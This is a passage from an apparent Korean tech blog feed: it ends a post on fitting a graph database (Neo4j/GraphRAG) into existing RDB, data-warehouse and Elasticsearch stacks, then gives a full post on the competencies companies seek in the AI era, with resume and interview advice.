&lt;p&gt;PG의 logical replication, MySQL의 binlog, Debezium 같은 도구로 변경 이벤트를 흘려보내 그래프에 반영.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;언제&lt;/strong&gt;: 초·분 단위 신선도가 필요할 때&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;장점&lt;/strong&gt;: 거의 실시간&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;단점&lt;/strong&gt;: 운영 복잡도 ↑. 이벤트 순서·중복·실패 처리&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3) 하이브리드 (현실에서 가장 흔함)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;핵심 엔티티(상품·카테고리)&lt;/strong&gt;: CDC로 거의 실시간&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;파생/집계(인기 태그 톱100)&lt;/strong&gt;: 배치&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LLM 추출 관계(related/cites)&lt;/strong&gt;: 글 발행 시점 워크플로&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;90%의 조직이 이 하이브리드입니다. &lt;strong&gt;무리하게 모든 데이터를 같은 신선도로 맞추려 들지 마세요.&lt;/strong&gt; 신선도는 가장 비싼 자원입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;빅데이터 스케일 전략 — 다 그래프에 넣지 마라&lt;/h2&gt;
&lt;p&gt;가장 흔한 실수: &quot;이왕 그래프 DB 깔았으니 다 넣자.&quot;&lt;/p&gt;
&lt;p&gt;수천만 노드·수억 관계로 가는 순간 Neo4j Community는 한계가 옵니다. Enterprise·AuraDB로 가도 비용이 급증해요. 스케일 전략은 &lt;strong&gt;무엇을 그래프에 두지 않을 것인가&lt;/strong&gt;의 문제입니다.&lt;/p&gt;
&lt;h3&gt;그래프에 두는 것&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;검색에 쓰이는 엔티티·관계&lt;/strong&gt; (수만~수백만 노드 수준)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;사실 기반 의미 정보&lt;/strong&gt; (카테고리, 인용, 선수 관계)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;검색용 임베딩&lt;/strong&gt; (Neo4j 5+ 벡터 인덱스)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;그래프에 두지 않는 것&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;원천 트랜잭션 데이터&lt;/strong&gt; — OLTP에 그대로 (FK로 참조)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;이벤트 로그, 클릭스트림&lt;/strong&gt; — DW나 데이터 레이크에&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;이미지·파일 바이너리&lt;/strong&gt; — 객체 스토리지(S3)에 URL만&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;시계열 메트릭&lt;/strong&gt; — 시계열 DB(Influx, Timescale)에&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;참조로 가볍게 잇기&lt;/h3&gt;
&lt;p&gt;그래프에는 &lt;strong&gt;외부 ID만&lt;/strong&gt; 두고, 상세는 원천에서 가져옵니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;cypher&quot;&gt;&lt;pre class=&quot;language-cypher&quot;&gt;&lt;code class=&quot;language-cypher&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// 그래프 노드는 가볍게&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Product&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;sku&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;SKU-12345&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// 질의 시 SKU로 PG에서 상세 조회&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; product &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; pg&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;SELECT * FROM products WHERE sku=$1&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;sku&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 패턴은 그래프 사이즈를 &lt;strong&gt;수십 분의 1&lt;/strong&gt;로 줄이면서 응답성도 챙깁니다. GraphRAG의 합성 단계에서 LLM에 넘기는 컨텍스트도 가벼워지고요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;검색엔진과 분담 — 자유 텍스트는 거기 두자&lt;/h2&gt;
&lt;p&gt;Elasticsearch가 이미 있다면, 자유 텍스트 검색은 그쪽이 답입니다. 그래프 + 검색엔진의 자연스러운 분담:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;질의 유형&lt;/th&gt;
&lt;th&gt;어디로 가나&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&quot;iPhone 케이스&quot; (자유 텍스트)&lt;/td&gt;
&lt;td&gt;ES&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&quot;가죽 케이스 중 5만 원 이하&quot; (필터)&lt;/td&gt;
&lt;td&gt;ES&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&quot;이 상품과 함께 산 상품&quot; (관계)&lt;/td&gt;
&lt;td&gt;그래프&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&quot;이 브랜드의 다른 카테고리 상품&quot; (관계)&lt;/td&gt;
&lt;td&gt;그래프&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&quot;이 상품 리뷰에 자주 등장한 키워드&quot; (텍스트+관계)&lt;/td&gt;
&lt;td&gt;ES + 그래프&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;5편의 GraphRAG 라우터에 채널을 하나 더 추가하면 됩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// 5편 router에 channel = &quot;search&quot; 추가&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; routerTool &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token comment&quot;&gt;/* ... */&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;properties&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;mode&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;string&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;enum&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;graph&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;vector&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;search&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;hybrid&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;그러면 자유 텍스트는 ES, 관계는 그래프, 의미 매칭은 벡터 — 세 채널이 자연스럽게 협업합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;실전 분담 예시 — e-commerce 추천 검색&lt;/h2&gt;
&lt;p&gt;조각조각 본 걸 한 시나리오로 묶어봅니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;사용자: &quot;지난주에 산 운동화랑 어울리는 가을 외투 추천해줘&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;단계&lt;/th&gt;
&lt;th&gt;시스템&lt;/th&gt;
&lt;th&gt;하는 일&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;OLTP (PG)&lt;/td&gt;
&lt;td&gt;사용자 최근 주문에서 &quot;지난주 운동화&quot; SKU 조회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;그래프 (Neo4j)&lt;/td&gt;
&lt;td&gt;운동화 SKU → 함께 산 상품(&lt;code class=&quot;language-text&quot;&gt;:BOUGHT_TOGETHER&lt;/code&gt;) → 카테고리 매핑&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;그래프&lt;/td&gt;
&lt;td&gt;&quot;가을&quot; 시즌 태그·&quot;외투&quot; 카테고리 노드 필터&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;검색엔진 (ES)&lt;/td&gt;
&lt;td&gt;필터링된 후보군에서 자유 텍스트(스타일·색상) 매칭&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;벡터 (Neo4j 인덱스 or 별도)&lt;/td&gt;
&lt;td&gt;사용자 취향 임베딩과 후보 임베딩 매칭&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;DW (Snowflake)&lt;/td&gt;
&lt;td&gt;후보별 최근 7일 판매·환불률 가중치&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;LLM&lt;/td&gt;
&lt;td&gt;위 정보를 받아 자연어 추천 답변 합성&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;7단계 중 그래프 DB가 담당하는 건 2·3·5번뿐입니다. &lt;strong&gt;그래프가 중심이 아니라 한 축&lt;/strong&gt;이라는 게 잘 보여요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;안티패턴 5가지&lt;/h2&gt;
&lt;p&gt;직접 부딪히거나 다른 케이스에서 들은 흔한 사고들.&lt;/p&gt;
&lt;h3&gt;1) &quot;그래프 = 새 OLTP&quot;로 쓰기&lt;/h3&gt;
&lt;p&gt;트랜잭션·결제·재고를 그래프에 직접 쓰는 패턴. 강한 일관성·고가용성이 필요하면 &lt;strong&gt;반드시 RDB에&lt;/strong&gt;. 그래프는 보조.&lt;/p&gt;
&lt;h3&gt;2) 모든 RDB 컬럼을 그래프에 미러링&lt;/h3&gt;
&lt;p&gt;ERD 그대로 옮겨 100개 속성을 가진 노드가 등장합니다. &lt;strong&gt;검색·관계에 쓰는 것만&lt;/strong&gt; 옮기는 게 원칙입니다.&lt;/p&gt;
&lt;h3&gt;3) 그래프를 DW 대체로 사용&lt;/h3&gt;
&lt;p&gt;월별 매출 집계를 그래프에서 돌리려고 시도. &lt;strong&gt;OLAP 워크로드는 DW가 답&lt;/strong&gt;입니다. Neo4j는 집계 성능이 RDB·DW의 비교 대상이 아닙니다.&lt;/p&gt;
&lt;h3&gt;4) CDC 없이 매번 풀 재적재&lt;/h3&gt;
&lt;p&gt;데이터가 수백만 건인데 일 1회 전체 재적재 → 잡 시간이 4시간을 넘김. &lt;strong&gt;변경된 것만 incremental로&lt;/strong&gt; 가야 합니다.&lt;/p&gt;
&lt;h3&gt;5) 검색엔진을 그래프로 대체 시도&lt;/h3&gt;
&lt;p&gt;ES가 잘하는 자유 텍스트·패싯·랭킹을 그래프 + 벡터로 다 재현하려고 하면, &lt;strong&gt;운영 비용은 5배 들고 결과는 더 나쁩니다.&lt;/strong&gt; 잘하는 일은 잘하는 도구에 맡기세요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6편 회고에 보태는 한 마디&lt;/h2&gt;
&lt;p&gt;6편 도메인 적합도 표에 한 줄 추가합니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;이미 RDB·DW·ES가 깔린 조직&lt;/strong&gt;에서 그래프 DB는 &lt;em&gt;&quot;관계와 의미&quot;&lt;/em&gt; 한 층으로 추가하는 게 정답입니다. 대체가 아니라 보강. 이 한 줄을 받아들이면 도입 의사결정이 훨씬 쉬워집니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;처음부터 빅데이터를 가정하고 시작할 필요는 없습니다. 작은 규모(이번 시리즈처럼 100개 글)로 가설을 검증한 뒤, 핵심 엔티티만 그래프에 두고 나머지는 기존 스택에 맡기는 점진적 확장이 가장 안전합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q1. ERD가 100개 테이블인 큰 조직인데, 다 매핑해야 하나요?&lt;/strong&gt;
아니요. &lt;strong&gt;검색 시나리오에 등장하는 테이블만&lt;/strong&gt; 매핑하세요. 보통 20% 미만입니다. 매핑하지 않은 테이블은 그래프에서 ID 참조만 두고 OLTP에서 가져옵니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q2. RDF/SPARQL이 정형 데이터 통합엔 더 정통적이지 않나요?&lt;/strong&gt;
맞습니다. 정형 데이터·온톨로지 추론이 핵심이라면 RDF(GraphDB, Stardog) 진영이 더 성숙합니다. 다만 &lt;strong&gt;LLM·GraphRAG 생태계는 LPG(Neo4j) 쪽이 압도적&lt;/strong&gt;이라, RAG가 목적이면 여전히 Neo4j를 권합니다. 둘 다 쓰는 조직도 있어요.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q3. 그래프 DB의 백업·HA는 어떻게 하나요?&lt;/strong&gt;
Community Edition은 단일 노드 기준 dump/restore가 표준이고, HA가 필요하면 AuraDB 또는 Enterprise 클러스터로 가야 합니다. &lt;strong&gt;운영 단계에 가까워질수록 매니지드 서비스의 비용 대비 이득이 큽니다.&lt;/strong&gt; 자체 운영은 학습·프로토타입 구간까지만 권합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;여러분 회사의 데이터 스택은 어떻게 구성돼 있나요? 댓글로 알려주시면, 어디에 그래프 한 층을 끼우면 좋을지 같이 짚어보겠습니다.&lt;/p&gt;
&lt;p&gt;이걸로 시리즈를 진짜 마무리합니다. 긴 여정 함께해주셔서 감사합니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[AI 시대 회사가 원하는 인재상 — 2026년 채용 트렌드와 5가지 핵심 역량]]></title><description><![CDATA[AI 시대 회사가 원하는 인재상 커버 — 2026년 채용 트렌드와 5가지 핵심 역량 안녕하세요, 자바파커입니다. "AI…]]></description><link>https://blog.javapark.kr/ai-era-talent-profile/</link><guid isPermaLink="false">https://blog.javapark.kr/ai-era-talent-profile/</guid><pubDate>Mon, 25 May 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://github.com/javapark/blog-images/releases/download/images-v1/ai-era-talent-profile.png&quot; alt=&quot;AI 시대 회사가 원하는 인재상 커버 — 2026년 채용 트렌드와 5가지 핵심 역량&quot;&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;AI가 다 해주는데, 회사는 이제 어떤 사람을 뽑나요?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;최근 이직, 채용 관련 글들을 살펴보면 분위기가 완전히 바뀐 게 보입니다. 예전에는 &quot;엑셀 잘하는 사람&quot;, &quot;코드 잘 짜는 사람&quot;이 환영받았다면, 지금은 다릅니다. 코드도 보고서도 AI가 1차로 뽑아내는 시대입니다.&lt;/p&gt;
&lt;p&gt;솔직히 말씀드리면 — &lt;strong&gt;기술 자체의 가치는 빠르게 평탄화되고 있습니다.&lt;/strong&gt; 그렇다면 회사는 무엇으로 사람을 가릅니까? 직접 채용 공고와 기업 리포트들을 조사해본 결과를 공유합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;결론부터 — 회사가 진짜 보는 건 &quot;AI를 다루는 사람&quot;인가요?&lt;/h2&gt;
&lt;p&gt;결론부터 말씀드리면, 회사가 바라는 인재상은 **&quot;AI를 잘 쓰는 사람&quot;이 아니라 &quot;AI와 함께 더 큰 일을 해내는 사람&quot;**입니다. 미묘하지만 큰 차이가 있습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;구분&lt;/th&gt;
&lt;th&gt;기존 인재상 (~2023)&lt;/th&gt;
&lt;th&gt;AI 시대 인재상 (2026~)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;핵심 가치&lt;/td&gt;
&lt;td&gt;숙련도 — &quot;이 일을 잘 할 수 있는가&quot;&lt;/td&gt;
&lt;td&gt;레버리지 — &quot;이 일을 얼마나 키울 수 있는가&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;평가 기준&lt;/td&gt;
&lt;td&gt;결과물의 완성도&lt;/td&gt;
&lt;td&gt;문제 정의의 깊이 + 실행 속도&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;협업 대상&lt;/td&gt;
&lt;td&gt;동료, 상사&lt;/td&gt;
&lt;td&gt;동료 + AI 에이전트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;약점&lt;/td&gt;
&lt;td&gt;반복 작업 의존&lt;/td&gt;
&lt;td&gt;판단력 부족&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;강점&lt;/td&gt;
&lt;td&gt;도메인 지식&lt;/td&gt;
&lt;td&gt;도메인 지식 × AI 활용&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;AI가 일을 &quot;대체&quot;하는 게 아니라 사람의 &quot;그릇&quot;을 키워주는 시대입니다. 그래서 회사는 &lt;strong&gt;그릇이 큰 사람&lt;/strong&gt;을 찾습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;AI 시대 인재상 — 5가지 핵심 역량&lt;/h2&gt;
&lt;h3&gt;1. AI 협업 능력 — 도구가 아닌 &quot;팀원&quot;으로 다루는 감각&lt;/h3&gt;
&lt;p&gt;가장 먼저 꼽히는 역량입니다. 그런데 흔히 오해합니다. &quot;ChatGPT 잘 쓰는 사람&quot;이 아니라, &lt;strong&gt;AI에게 어떻게 일을 위임하고 검수할지 아는 사람&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;채용 담당자들이 실제로 보는 건 이런 것들입니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;같은 문제를 30분 vs 3시간 안에 푸는 차이&lt;/li&gt;
&lt;li&gt;AI 결과물의 잘못된 부분을 1초에 알아채는 감각&lt;/li&gt;
&lt;li&gt;AI가 못 하는 일과 잘 하는 일을 구분하는 판단력&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;**&quot;AI에게 부탁하는 사람&quot;이 아니라 &quot;AI를 부리는 사람&quot;**이 필요합니다.&lt;/p&gt;
&lt;h3&gt;2. 문제 정의 능력 — &quot;무엇을 풀어야 하는가&quot;&lt;/h3&gt;
&lt;p&gt;AI에게 잘못된 문제를 정확하게 풀어달라고 하면 결과는 쓸모없습니다. AI 시대일수록 &lt;strong&gt;올바른 질문을 던지는 사람&lt;/strong&gt;이 비싸집니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;AI는 답을 잘 찾지만, 질문은 사람이 만듭니다.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;이게 신입에게도 동일하게 요구된다는 게 흥미롭습니다. 예전에는 &quot;시키는 일 잘하는 신입&quot;을 뽑았지만, 지금은 &quot;왜 이걸 해야 하는지 묻는 신입&quot;을 뽑습니다. 단순 실행자는 AI가 더 빠르고 싸기 때문입니다.&lt;/p&gt;
&lt;h3&gt;3. 학습 민첩성 — 6개월마다 판이 바뀌는 환경 대응력&lt;/h3&gt;
&lt;p&gt;저도 매주 새 도구를 익히면서 느낍니다. &lt;strong&gt;6개월 전에 표준이던 워크플로우가 지금은 구식입니다.&lt;/strong&gt; 회사도 이걸 압니다.&lt;/p&gt;
&lt;p&gt;그래서 채용에서 가장 많이 듣는 표현이 **&quot;러닝 어질리티(Learning Agility)&quot;**입니다. 구체적으로는 이런 신호를 봅니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;새로운 도구를 1주일 안에 실무 수준으로 끌어올리는가&lt;/li&gt;
&lt;li&gt;잘못된 방법론을 빠르게 버릴 수 있는가&lt;/li&gt;
&lt;li&gt;자신이 모른다는 것을 인정하고 학습 루프를 설계할 수 있는가&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;이력서의 &quot;10년 경력&quot;보다 **&quot;최근 6개월 동안 무엇을 새로 배웠는가&quot;**가 더 큰 신호로 작동합니다.&lt;/p&gt;
&lt;h3&gt;4. 도메인 깊이 — AI가 따라잡지 못하는 맥락 지식&lt;/h3&gt;
&lt;p&gt;역설적으로, AI가 발전할수록 &lt;strong&gt;도메인 지식의 가치가 올라갑니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;AI는 인터넷에 공개된 정보를 잘 압니다. 하지만 회사 내부의 의사결정 맥락, 고객 한 명의 변덕, 업계의 암묵적 룰은 모릅니다. 이 부분이 사람의 영역입니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;의료 AI를 만들 때 → 환자 동선까지 아는 임상 경험&lt;/li&gt;
&lt;li&gt;금융 AI를 만들 때 → 규제 변화의 정치적 배경&lt;/li&gt;
&lt;li&gt;커머스 AI를 만들 때 → 자사 고객의 구매 패턴 변화&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;**&quot;AI + 도메인&quot;**의 곱셈으로 가치가 만들어집니다. 둘 중 하나만 있으면 대체 가능하지만, 둘 다 있으면 대체 불가능합니다.&lt;/p&gt;
&lt;h3&gt;5. 윤리적 판단력 — &quot;할 수 있는가&quot;가 아니라 &quot;해도 되는가&quot;&lt;/h3&gt;
&lt;p&gt;AI 시대에 새롭게 부상한 역량입니다. 회사가 AI를 도입할수록 **&quot;이건 해도 되는 일인가?&quot;**를 판단할 사람이 필요해집니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;AI가 만든 결과물을 어디까지 신뢰할 것인가&lt;/li&gt;
&lt;li&gt;개인정보를 어디까지 학습에 쓸 것인가&lt;/li&gt;
&lt;li&gt;AI가 내린 판단의 책임은 누가 지는가&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;이건 단순히 컴플라이언스 문제가 아닙니다. 회사의 평판과 직결되는 의사결정입니다. 그래서 &lt;strong&gt;시니어급일수록 윤리 감각이 핵심 평가 항목&lt;/strong&gt;으로 들어옵니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;실전 — 자기소개서·면접에 어떻게 어필할까&lt;/h2&gt;
&lt;p&gt;위 5가지 역량을 추상적으로 외우는 건 의미 없습니다. &lt;strong&gt;구체적 행동 사례&lt;/strong&gt;로 풀어야 통합니다.&lt;/p&gt;
&lt;h3&gt;자기소개서&lt;/h3&gt;
&lt;p&gt;❌ 안 좋은 예: &quot;저는 AI 도구를 활용해 업무 생산성을 높였습니다.&quot;&lt;/p&gt;
&lt;p&gt;✅ 좋은 예: &quot;기존 3시간 걸리던 리포트 작성을, Claude로 1차 초안을 30분에 만들고 검수·수정에 1시간을 쓰는 워크플로우로 재설계해 주 5시간을 절감했습니다.&quot;&lt;/p&gt;
&lt;p&gt;핵심은 &lt;strong&gt;숫자 + 워크플로우 재설계&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;h3&gt;면접 답변&lt;/h3&gt;
&lt;p&gt;면접관이 듣고 싶은 건 &quot;AI를 쓴 경험&quot;이 아니라 **&quot;AI를 다루는 사고방식&quot;**입니다. 다음 3가지를 답에 녹이면 좋습니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;위임 기준&lt;/strong&gt; — 어떤 일을 AI에게 맡기고 어떤 일은 사람이 하는지&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;검수 체크리스트&lt;/strong&gt; — AI 결과물을 어떻게 검증하는지&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;실패 경험&lt;/strong&gt; — AI를 잘못 썼다가 깨달은 점&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;특히 3번이 강력합니다. 실패를 인정할 수 있는 사람은 &lt;strong&gt;학습 민첩성과 윤리 감각&lt;/strong&gt;을 동시에 보여주기 때문입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ — AI 시대 인재상에 대한 자주 묻는 질문&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q. 개발자가 아닌데 AI 역량을 어떻게 보여주나요?&lt;/strong&gt;
A. 직군과 무관합니다. 마케터라면 &quot;GPT로 카피 30개 만들고 A/B 테스트로 추렸다&quot;, 기획자라면 &quot;AI 리서치 결과를 검수해 의사결정 시간을 단축했다&quot; 같은 구체 사례가 통합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. 신입은 경력 사례가 없는데 어떻게 어필하나요?&lt;/strong&gt;
A. &lt;strong&gt;사이드 프로젝트&lt;/strong&gt;가 가장 강력합니다. 학교 과제, 토이 프로젝트, 블로그 운영 등에서 AI를 어떻게 썼는지 정량적으로 정리하세요. &quot;1인 개발로 웹서비스 출시&quot; 같은 사례는 신입에게도 가능한 시대입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. AI 자격증이 도움이 되나요?&lt;/strong&gt;
A. 자격증 자체보다 &lt;strong&gt;포트폴리오&lt;/strong&gt;가 우선입니다. 자격증은 학습 의지를 보여주는 보조 신호일 뿐, 면접관이 보는 건 결국 &quot;당신이 만들어낸 결과물&quot;입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리 — 회사가 바라는 건 &quot;AI 곱하기 당신&quot;&lt;/h2&gt;
&lt;p&gt;정리하면, 2026년 회사가 원하는 인재상은 단순합니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;당신이 AI를 만나서 어떤 곱셈을 만들어낼 수 있는가.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;AI를 두려워하지도, 맹신하지도 않는 사람. 자기 도메인을 깊이 파면서 AI를 레버리지로 쓰는 사람. 그리고 &lt;strong&gt;무엇을 풀어야 하는지 스스로 묻는 사람&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;기술은 빠르게 평탄화되지만, &lt;strong&gt;판단력과 맥락 지식은 평탄화되지 않습니다.&lt;/strong&gt; 이 둘에 투자하시는 게 가장 안전한 베팅이라고 생각합니다.&lt;/p&gt;
